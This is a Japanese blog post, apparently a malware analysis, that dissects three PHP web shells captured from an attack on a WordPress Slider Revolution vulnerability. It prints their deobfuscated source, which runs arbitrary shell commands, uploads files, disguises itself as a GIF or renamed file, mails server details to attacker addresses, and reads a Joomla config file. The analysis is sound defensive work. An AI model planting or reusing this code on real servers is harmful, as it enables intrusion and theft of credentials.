はじめに
以前作成した資料を探すためにサーバのバックアップを漁っていたら、過去に捕まえたWebシェルが出てきたので記事を書いてみることにした。確か2018年ごろにハニーポット的なやつで捕まえたファイルだけど、当時は簡単な調査をして終わりにしていた記憶しかない。
夏頃に書き始めてすぐ公開するつもりだったが、後回しにし続けてしまったので、アドベントカレンダーを機に完成させることにした。記事自体はWebシェルの内容を説明するだけとなる。
捕まえたファイル
POSTリクエストを残していなかったので詳細は確認できないが、どうもWordPressのプラグイン Slider Revolution に存在していた脆弱性を利用して設置する攻撃だった様子。
脆弱性を利用することでプラグインをインストールするように見せかけ、任意のzipファイルを展開することができる仕組みとなっている。
https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/wp_revslider_upload_execute.rb
アップロードされるzipファイルを展開すると、以下のようなファイルが出てきた。MD5ハッシュ値をVirusTotalに突っ込むと、3つともWebシェルであると表示された。これは今回保存していたzipファイルがそうだったというだけであって、中身はSlider Revolutionの脆弱性自体とは関係ない。
# md5sum *
198dada55221d2df6c24921bb1f24e37 joss.php
4f3022b7cf29c3a76879244d1687a1e7 petx.php
4eee1046939e8323c2e5bc84ad35ee2c simple.php
Webシェルの中身
joss.php
joss.phpの中身は以下になっていた。変数中のBASE64でエンコードされたペイロードは大幅に省略している。gZip圧縮された内容をgzinflate()を使っているのは難読化のつもりなのだろうか?ただ、eval()を使わざるを得ないのでバレバレに思える。
<?php @error_reporting(0);
@set_time_limit(0);
$jembot = '
rUlbRt.../AA==
';
eval(gzinflate(str_rot13(base64_decode($jembot))));
$jembit = '
rUpMZ...K/gk=
';
$path = $_SERVER['DOCUMENT_ROOT'].'/'.'wp-indeks.php';
if(file_exists($path)) @unlink($path);
$content = "<?php eval(gzinflate(str_rot13(base64_decode('".$jembit."')))); ?> ";
$txt = fopen($path,"a+");
fwrite($txt, $content);
fclose($txt); ?>
まず、$jembotに保存されていたペイロードを復号したり展開したりしてeval()している。eval()の代わりにechoしてみると、以下のような内容だった。(適宜インデントを入れている)
error_reporting(0);
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "Shell = Bispak";}
else {$security= "Shell = Kontol";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("bahri.resima@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/info.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "Shell : Bispak";}
else {$security= "Shell : Kontol";}
echo "<title>SexCrime - Shell</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>Pengguna : id=".getmyuid().$cur_user." grup=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Sistem : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Perintah</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="Kentot"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Aplod File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>Nama baru: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Aplod"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Aplod Sukses ke ".$uploaddir.$name." Pantekk!! "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['hta'])){
$drx = ".htaccess";
$hta = gzinflate(str_rot13(base64_decode('8y9XVi1FY1bNq9RkzMnJL+flArEV0oryZhUSZmVrucCiEL6hkbmeARAa8mXxZdm4cuakFitx5RcX6xVxFNjxZSkAgT/YOLAeHZBOEEQkM8Bz2uiDNdvBWsnJQqfckIKk/BLKWinKLy3JzCPfOQA=')));
$hndx = fopen($drx,"w");
fwrite($hndx,$hta);
fclose($hndx);
chmod($drx, 0755);
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}
このPHPスクリプトを実行すると、(Webサーバの設定にもよるが)脅威アクターのものと思われるメールアドレスにサーバの情報が送信される。
先の脆弱性を利用してアップロード後、joss.phpにアクセスして脅威アクターにPHPスクリプト設置が成功したことをメール通知した後、引き続きcloneクエリ文字列を付けて同スクリプトにアクセスすることで、スクリプト名をありふれた名前に変更することで、サーバログからの調査を困難にしようとしていると推測される。
Webシェルのコアとなる部分については、ファイルのアップロードや任意のshellコマンド実行を可能にしている。また、htaのクエリ文字列を付けると、joss.phpなど以外へのリモートアクセスを禁止する.htaccessファイルを生成する。
simple.php
simple.phpは以前の記事で触れたように、GIFファイルのファイルヘッダを持っている。そのため、fileコマンドなどでチェックするとGIFファイルだと判定される。
$ xxd simple.php | head -n 4
0000000: 4749 4638 3961 013f 013f 3f3f 3f3f 3f3f GIF89a.?.???????
0000010: 3f3f 3f21 3f3f 0401 3f3f 3f3f 2c3f 3f3f ???!??..????,???
0000020: 3f01 3f01 3f3f 0202 4401 3f3b 3f3c 3f70 ?.?.??..D.?;?<?p
0000030: 6870 0d0a 7365 7373 696f 6e5f 7374 6172 hp..session_star
$ file simple.php
simple.php: GIF image data, version 89a, 16129 x 16129
GIF89a^A?^A??????????!??^D^A????,????^A?^A??^B^BD^A?;?<?php
session_start();
error_reporting(0);
$string = 'rUh6Q...7/wI=';
eval(gzinflate(str_rot13(base64_decode($string))));
?>
これも同様に圧縮されているものを展開すると、以下のようになる。
error_reporting(0);
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "Shell = Bispak";}
else {$security= "Shell = Kontol";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("bahri.resima@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/info.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "Shell : Bispak";}
else {$security= "Shell : Kontol";}
echo "<title>SexCrime - Shell</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>Pengguna : id=".getmyuid().$cur_user." grup=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Sistem : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Perintah</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="Kentot"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Aplod File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>Nama baru: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Aplod"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Aplod Sukses ke ".$uploaddir.$name." Pantekk!! "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['hta'])){
$drx = ".htaccess";
$hta = gzinflate(str_rot13(base64_decode('8y9XVi1FY1bNq9RkzMnJL+flArEV0oryZhUSZmVrucCiEL6hkbmeARAa8mXxZdm4cuakFitx5RcX6xVxFNjxZSkAgT/YOLAeHZBOEEQkM8Bz2uiDNdvBWsnJQqfckIKk/BLKWinKLy3JzCPfOQA=')));
$hndx = fopen($drx,"w");
fwrite($hndx,$hta);
fclose($hndx);
chmod($drx, 0755);
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}
GIFに偽装している以外は特筆する点は無いが、同じzipファイルで送り込まれるスクリプトなのに通知先のメールアドレスが異なる点は気になった。複数のメールアドレスを使って攻撃成功の通知メールの到達性を担保しているのか?
petx.php
petx.phpはBOM付きとなっている。
<EF><BB><BF><?php
eval(gzinflate(str_rot13(base64_decode('rUl6Q...9Pw=='))));
@ini_restore("disable_functions");
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Shell Injector \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$df='ini_get disable!';
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("peterdlegend@aol.com", "$body","Shell Result http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/wp-info.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>Peterson - Shell</title><br><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
echo "<font size=2 color=#888888><b>Disable Functions : ";$df='ini_get disable!';
if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "NONE";}else{echo "$df";}
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :D "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}
if(isset($_GET['baca'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
cloneでwp-info.phpとWordPressに関連していそうなファイルになりすまそうとしているのに、configuration.phpの内容を取得する機能があることが気になる。このconfiguration.phpはCMSのJoomla!の設定ファイルであると思われる。
なお、セッション変数に利用されているbajakは「ならず者」という意味のインドネシア語らしい…